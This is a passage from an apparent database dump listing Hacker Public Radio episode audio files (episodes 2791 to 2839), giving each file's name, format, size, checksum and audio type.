(2791,'hpr2791.ogg','ogg',14200654,'d4e6174f24ffbe5228b31044216744c459c6836d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2791,'hpr2791.spx','spx',5582547,'da7fe8a7bdfcb0669fff4f97be8a1b59f0635b90','application/ogg; charset=binary','Ogg data, Speex audio'),
(2792,'hpr2792.mp3','mp3',10736134,'8553e822828fc789ab0ad5a6ab39e1543dee10f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2792,'hpr2792.ogg','ogg',12267082,'53b2269c5b4c0c7555d227245490a35c6eebaf18','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2792,'hpr2792.spx','spx',4794672,'0f43ab9a26c804783d3b322de5628a7414e3b823','application/ogg; charset=binary','Ogg data, Speex audio'),
(2793,'hpr2793.mp3','mp3',10830354,'8742f31bb8ccb00e8f533d5d0c1072caa1db7925','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2793,'hpr2793.ogg','ogg',11613520,'e8440aaab2204c57acc6e6231c9b21d1bcf7e9bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2793,'hpr2793.spx','spx',4836660,'115b5667553235273a06b094629406073a6b5828','application/ogg; charset=binary','Ogg data, Speex audio'),
(2794,'hpr2794.mp3','mp3',20392252,'df9649ceb03f4818e114d484e1f8f094adc1dd30','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2794,'hpr2794.ogg','ogg',20138067,'987e5f0ae97f6ca8602e1b8cc702b20b6ef4ea40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2794,'hpr2794.spx','spx',9107150,'844f4cf097fdd3c2a00d13c6aa0967d1b2ab06f8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2795,'hpr2795.mp3','mp3',17992082,'762644fd8a7cedf698cbf8ae89f1f6c54b7ecd86','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2795,'hpr2795.ogg','ogg',18928563,'ce91c6b97f458ece22905cc97a9c20c099fa6fe9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2795,'hpr2795.spx','spx',8035154,'1b0cec08927b6dc6c08a9b453a4985dac9939a9b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2796,'hpr2796.mp3','mp3',7043820,'fd68348d80fd7564eaa40d248a6af1c378a261f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2796,'hpr2796.ogg','ogg',8555760,'1910ff83a2e8cf421695480d63b6103cc8d65cf8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2796,'hpr2796.spx','spx',3145558,'66725e269f4b5a5b78fd8490624019134acd74a9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2797,'hpr2797.mp3','mp3',13471021,'2bb90de5f46b4ce00bca7bd566c56cf0cf1b3f81','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2797,'hpr2797.ogg','ogg',12541084,'1b7acfba53a0aba7a2200b2ceaf52f8de299b6ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2797,'hpr2797.spx','spx',6016049,'0f129bd077b070e3f9ec6cc7fb77932f8583b88b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2798,'hpr2798.mp3','mp3',6887978,'dca3ec0022ba1dd31196e37e48a0e0555a7221f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2798,'hpr2798.ogg','ogg',7462159,'8cb54d30e17e268f01f0ee3088cf21ada87d0666','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2798,'hpr2798.spx','spx',3075958,'68b2ca6d200243a281f7e3c0c5bcc83ae0c09316','application/ogg; charset=binary','Ogg data, Speex audio'),
(2799,'hpr2799.mp3','mp3',10786645,'ded22a432f35c981992f035831712c6401c68377','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2799,'hpr2799.ogg','ogg',12238607,'f235cab32a745fe4afc36240f85844bf4e087630','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2799,'hpr2799.spx','spx',4817181,'eabf274ff18fe3c283c3ab68c2836c336202c15e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2800,'hpr2800.mp3','mp3',10433254,'ade17f3f4b23d41df14a99c14c4c9ba406993f59','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2800,'hpr2800.ogg','ogg',11697092,'1431e30904b02a38f613b58601685e3b86a99f42','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2800,'hpr2800.spx','spx',4659336,'efcd22d4c606b061d92fee5f042d8602476e0274','application/ogg; charset=binary','Ogg data, Speex audio'),
(2801,'hpr2801.mp3','mp3',14055071,'620a18f9472d212b46c9ed56782842c1a3b5e2ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2801,'hpr2801.ogg','ogg',14159264,'86cac84df397d4b8a5aceb8d8f70dde40f86d49a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2801,'hpr2801.spx','spx',6276825,'736a05b94e08f1373eaf4724bc55ccedc8515fce','application/ogg; charset=binary','Ogg data, Speex audio'),
(2802,'hpr2802.mp3','mp3',8521548,'0191e951bb72ee0811dc3750ba53b8365b219f2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2802,'hpr2802.ogg','ogg',9134734,'56740e68bfe2de061e9a815a1abe20261c19b6f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2802,'hpr2802.spx','spx',3805587,'03d7b839247317d40a7a87264a04bcc490b1831c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2803,'hpr2803.mp3','mp3',4690763,'84a8689831fbefec23505a96ba41e3a350f890d8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2803,'hpr2803.ogg','ogg',4924429,'09cdc90204b86f884ec759666504ea634223e4fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2803,'hpr2803.spx','spx',2094691,'5d5dd7d5f0f1c1cab94f60c9361e122aa8882064','application/ogg; charset=binary','Ogg data, Speex audio'),
(2804,'hpr2804.mp3','mp3',4155144,'5eaaa25601d19c722d6c46f608501d69cfcbd1f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2804,'hpr2804.ogg','ogg',4285673,'2f67b03c7441ec2d8eeddf3136d0863fbe581823','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2804,'hpr2804.spx','spx',1855440,'85d152175039198ec33adae5d502a38d47aa4291','application/ogg; charset=binary','Ogg data, Speex audio'),
(2805,'hpr2805.mp3','mp3',9599040,'1f0713ca89a779e5d5b1f02a8986bc907beba8fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2805,'hpr2805.ogg','ogg',10553753,'5d78b70545501f800f55e2bfc47847acfa82d8cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2805,'hpr2805.spx','spx',4286772,'65ad399af027e37ecb2791e54be32a81ea174505','application/ogg; charset=binary','Ogg data, Speex audio'),
(2806,'hpr2806.mp3','mp3',55857526,'46d7ddb79a205c53f6dda4367114e57ba33fdf5c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2806,'hpr2806.ogg','ogg',56055570,'e270e4da21bda0b2b56a10620fd870edb5ff68db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2806,'hpr2806.spx','spx',24946325,'20d47a0a0a38cf77c679eb56064d1157d2269413','application/ogg; charset=binary','Ogg data, Speex audio'),
(2807,'hpr2807.mp3','mp3',5884191,'12d1f3a9b3937839343120a68722c6c3061014fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2807,'hpr2807.ogg','ogg',6295667,'5b8de7ce0f8879315ea5d6233a10468721b72c58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2807,'hpr2807.spx','spx',2627655,'b2237a062e92e6a7ab46bda1e1a3803c664bb468','application/ogg; charset=binary','Ogg data, Speex audio'),
(2808,'hpr2808.mp3','mp3',12818553,'163f676e5c1ee30a971393932f54a0d100209363','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2808,'hpr2808.ogg','ogg',12168095,'5638f8337e9e0d2221cb9fe32b8b81893d31787c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2808,'hpr2808.spx','spx',5724685,'c355f33c466f791e981c1e2480181df8c143bc10','application/ogg; charset=binary','Ogg data, Speex audio'),
(2809,'hpr2809.mp3','mp3',11235579,'76e5c39e4ee41fc0c32e6ab5fd04c5f3c5c6bc9a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2809,'hpr2809.ogg','ogg',12285622,'16463bbe79eb9992a29b8182dc687c62d55e41bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2809,'hpr2809.spx','spx',5017678,'4b7b36b3142b9d464f64089a1510268ea3c54507','application/ogg; charset=binary','Ogg data, Speex audio'),
(2810,'hpr2810.mp3','mp3',4773299,'cb64e70522779469d502985a4c2625a2a4990311','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2810,'hpr2810.ogg','ogg',5208067,'5a01c47e8763e42a7c9ffd44352ad6d627afbdc7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2810,'hpr2810.spx','spx',2131562,'71515d1d238e5e27929c77cd48ef861508584c38','application/ogg; charset=binary','Ogg data, Speex audio'),
(2811,'hpr2811.mp3','mp3',44177268,'22f31b18080d733541f83691f13a3f5b15d3b8de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2811,'hpr2811.ogg','ogg',46539105,'1891f02d7f8faa0d1b1cbef43c84167ddb8211a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2811,'hpr2811.spx','spx',19729743,'2f08ad8db93ef10bd5077dd5e78a6c16782abc8d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2812,'hpr2812.mp3','mp3',4460442,'85eac171044988c8564e96bb104171d9a74f3e33','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2812,'hpr2812.ogg','ogg',4678221,'b8361755c9389ace819735168768edef7e2ea09e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2812,'hpr2812.spx','spx',1991852,'71b94491d3518f47ac5a0b0004dd0b0f268eedc3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2813,'hpr2813.mp3','mp3',10921711,'9ceca59d7d22f117ef063f735fc071ec0a974960','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2813,'hpr2813.ogg','ogg',11808570,'52f4e07fde632976b75809276995f49a6048def5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2813,'hpr2813.spx','spx',4877477,'3274635ec8744a02a58aa4e54e8cb3b7cea78971','application/ogg; charset=binary','Ogg data, Speex audio'),
(2814,'hpr2814.mp3','mp3',11102043,'5497769b3ef00739284e887c6ab766075ffb9df0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2814,'hpr2814.ogg','ogg',12513021,'0aaa1501dbd184b3acc85678f916704f30ca0add','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2814,'hpr2814.spx','spx',4958061,'c19c997d949629304fb0857a27afb8106064ece1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2815,'hpr2815.mp3','mp3',18696758,'8ebf8257b1b47f243f66c1a03ee547093343dff8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2815,'hpr2815.ogg','ogg',21311600,'6b05e5b6c3137523c722cbb2d857dfbabb56eee8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2815,'hpr2815.spx','spx',8349860,'b9cfaea087c22e7ea24559459f713e466967c73c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2816,'hpr2816.mp3','mp3',11942711,'18084877ef54860c04756b3cc5cdd9f1d36dcd18','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2816,'hpr2816.ogg','ogg',13233336,'ff8059f2891ffb35c9c2931be952a1163201f2fa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2816,'hpr2816.spx','spx',5333441,'85cf8a5d47708014a44892a78ed6da6c7447ac8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2817,'hpr2817.mp3','mp3',2827445,'f9c351169e914490007837c97eae1d071454fa23','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2817,'hpr2817.ogg','ogg',2867648,'cc82e2ce5fe43acaa65415bf41827f9108aff307','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2817,'hpr2817.spx','spx',1262450,'b4580b22cd0898f4fa8c0465327d2b0576dd5e7f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2818,'hpr2818.mp3','mp3',21954148,'4cd5131aa537b2a1fde84b7ac088f5ae498ad4a3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2818,'hpr2818.ogg','ogg',20474130,'f48c8d6a183a14096d21199db8dbc4ac32ec6e7e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2818,'hpr2818.spx','spx',9804760,'1f12bb6de3c8d587f78b85798437b6d7bb8c2246','application/ogg; charset=binary','Ogg data, Speex audio'),
(2819,'hpr2819.mp3','mp3',5051239,'88b7c478c023ce6a2fdedfe9e21a1563957ce03a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2819,'hpr2819.ogg','ogg',5887605,'f5b4853b404e8a3da273259e25200b39ae869bfe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2819,'hpr2819.spx','spx',2255667,'92835c63e243001206861f1a759f27359bd18bf2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2820,'hpr2820.mp3','mp3',11813188,'e03d09b88e9ac9f391fb6060dcbf4ec82f6e024f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2820,'hpr2820.ogg','ogg',13615473,'0e7acee68e7d9283f894e333b9df5b368fc16c33','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2820,'hpr2820.spx','spx',5275624,'f3b607bdfdd800d07c645f8a94158ea66edd2d0c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2821,'hpr2821.mp3','mp3',23399053,'33bcc3d7e45abaaa5e3fff5701f1e7f709d016e2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2821,'hpr2821.ogg','ogg',25427327,'985d81e1362da90f234aecfe314344f68c0a6ea3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2821,'hpr2821.spx','spx',10450041,'77b602babd8b640f1b89a5efd9bebb2e6ab1ffd5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2822,'hpr2822.mp3','mp3',10415291,'211093afc485d734d5ea7a5f9e8035533fff5067','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2822,'hpr2822.ogg','ogg',10621582,'960e5c47bc910c6a93d824c7d351e1c31f6fced3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2822,'hpr2822.spx','spx',4651339,'a58f36bf0f1b271e8d2f8b26585dc38e6e1dccb7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2823,'hpr2823.mp3','mp3',7053228,'c1df52c657c28ed77728219319d829120ab45565','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2823,'hpr2823.ogg','ogg',8350574,'a2d8fcf6d9b34e5db0052e55a2c7bbe89e644b8f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2823,'hpr2823.spx','spx',3149778,'bdcc9f7bf81c1bce742d80816f55772a0dd6f719','application/ogg; charset=binary','Ogg data, Speex audio'),
(2824,'hpr2824.mp3','mp3',16415711,'f6b60ca3e7660b806fff7a537814c02a15247411','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2824,'hpr2824.ogg','ogg',18042197,'020a31e30ec9db3df8b4a47ad338b1601a10f7e6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2824,'hpr2824.spx','spx',7331115,'aef60f39b0ee85a14ad2715489521b8401ae2dbb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2825,'hpr2825.mp3','mp3',3368287,'357e77d079fdea90134a5e48a43fbba8bd2b8513','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2825,'hpr2825.ogg','ogg',3647471,'077b1b3c085218c722e5018b4ebcb1e844590774','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2825,'hpr2825.spx','spx',1504043,'d77d9763c7e20e13341ad0c7aea991361e32ab9d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2826,'hpr2826.mp3','mp3',29104999,'a428ea9aff3798ce128f8687efea53595960a6ac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2826,'hpr2826.ogg','ogg',29726092,'bbc1708b21b7264955429698f2c48afdf73b8682','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2826,'hpr2826.spx','spx',12998319,'c89e826d356e90e8e8f94c391c48087c9018a728','application/ogg; charset=binary','Ogg data, Speex audio'),
(2827,'hpr2827.mp3','mp3',7762162,'5f06b71cbae5d4e113b4ad8dfa3d21b03dce4acc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2827,'hpr2827.ogg','ogg',8666673,'30e3104dd7af3844a9c8483636d8f364eb88070e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2827,'hpr2827.spx','spx',3466435,'47c0053d469764bdd97e21b85d9318eba23e4d85','application/ogg; charset=binary','Ogg data, Speex audio'),
(2828,'hpr2828.mp3','mp3',22984423,'b1cd8abc9ba3f5adfa8930c5a04fbcebc18d089b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2828,'hpr2828.ogg','ogg',21151692,'e8dcbe08322e7cdb88f933dc371ada387feb3526','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2828,'hpr2828.spx','spx',10264807,'e2c3cdd15bb09859c3b79c6441a0e0a81ab40145','application/ogg; charset=binary','Ogg data, Speex audio'),
(2829,'hpr2829.mp3','mp3',12214021,'eae8edfb1c17238f7e6a3f84838d51562ebd2fd9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2829,'hpr2829.ogg','ogg',10071531,'43addcf93403ace051cf595b2d382dfe236cb6fb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2829,'hpr2829.spx','spx',5454694,'7bdce43ca58488cc1d3c41503aa29e2818b629ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(2830,'hpr2830.mp3','mp3',98651304,'501856c53b239b7cb9065d56d9588b2e8528a183','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2830,'hpr2830.ogg','ogg',99096803,'44b9a3590b3ee6751e461d4a89c061640f191f47','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2830,'hpr2830.spx','spx',44058385,'4ee639c0fef3ac5ab5f2c75b45092ba879692ff7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2831,'hpr2831.mp3','mp3',19876925,'a1e2f3562899f0a3f6dd837f0757b4f932ec6550','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2831,'hpr2831.ogg','ogg',24110218,'fe1bd3e09614608e478406dd57d37efc1d2db3bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2831,'hpr2831.spx','spx',8877061,'eacb799af1f2b1aba7e526bd555283c6129547f5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2832,'hpr2832.mp3','mp3',2439607,'667fe739159f73924b3401eebba488f7fb56f20b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2832,'hpr2832.ogg','ogg',2761318,'0af8faaebbfc52e8b5282c210b56b23df2af1870','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2832,'hpr2832.spx','spx',1089339,'0260f8ec6d15071862ab7337c71f666a6551be18','application/ogg; charset=binary','Ogg data, Speex audio'),
(2833,'hpr2833.mp3','mp3',10182508,'eff93edff769f5bea32d523c4fc3c8b1753d0004','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2833,'hpr2833.ogg','ogg',11867820,'6fb110f89b3ace77dd06cd11ff6cc23cf4b3e1b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2833,'hpr2833.spx','spx',4547380,'8e75ecc1ff5f66393a8641692436113b7ddc527f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2834,'hpr2834.mp3','mp3',15157727,'25cb5596c2e503691ac150fcf98b5ee32de8234e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2834,'hpr2834.ogg','ogg',16900180,'3ea05c2fbcd7ae1b7033cb6f6684821ee42e28eb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2834,'hpr2834.spx','spx',6769325,'59c0c4237206951114f7136f96a6e7a6e1b262de','application/ogg; charset=binary','Ogg data, Speex audio'),
(2835,'hpr2835.mp3','mp3',73809688,'245df958376e06e6cfab543a786a9af31b37ec8d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2835,'hpr2835.ogg','ogg',73828770,'291b43f7fbb753e4deac31da824bf0ed351e5dfa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2835,'hpr2835.spx','spx',32963858,'71929d6871d68e11f3618e7eccd9abaaba2b7843','application/ogg; charset=binary','Ogg data, Speex audio'),
(2836,'hpr2836.mp3','mp3',13705749,'1322b6591be5eaa365f6f54c1e57795624f13c61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2836,'hpr2836.ogg','ogg',12594718,'ae639229a0581937c74beebd18410c81cd978582','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2836,'hpr2836.spx','spx',6120925,'0fbb5689a4bb4945a06d6c6f64430c2707c8afb3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2837,'hpr2837.mp3','mp3',9102521,'fda32c8a2df572b7f45ca29b843f243a2cfb8c02','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2837,'hpr2837.ogg','ogg',10117393,'ab9264c6eabcc0cf6b9d0f2af4e381eb4d8c24e8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2837,'hpr2837.spx','spx',4065071,'60ca2ca8659f6b90f0f9a2b10e22a83aa5692845','application/ogg; charset=binary','Ogg data, Speex audio'),
(2838,'hpr2838.mp3','mp3',16294321,'a7ec77412b3196cbe48e2d57490ba786d1ee448f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2838,'hpr2838.ogg','ogg',15158633,'b13f1a56b0f2e1a94c7bc64eb7ff8926c17aec03','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2838,'hpr2838.spx','spx',7276974,'0cd3b992b98681bdafeb5db3f9824e7b511fe28d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2839,'hpr2839.mp3','mp3',18974536,'4a8bc6db52ee2946ebad4c5c9e5e15e727314328','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
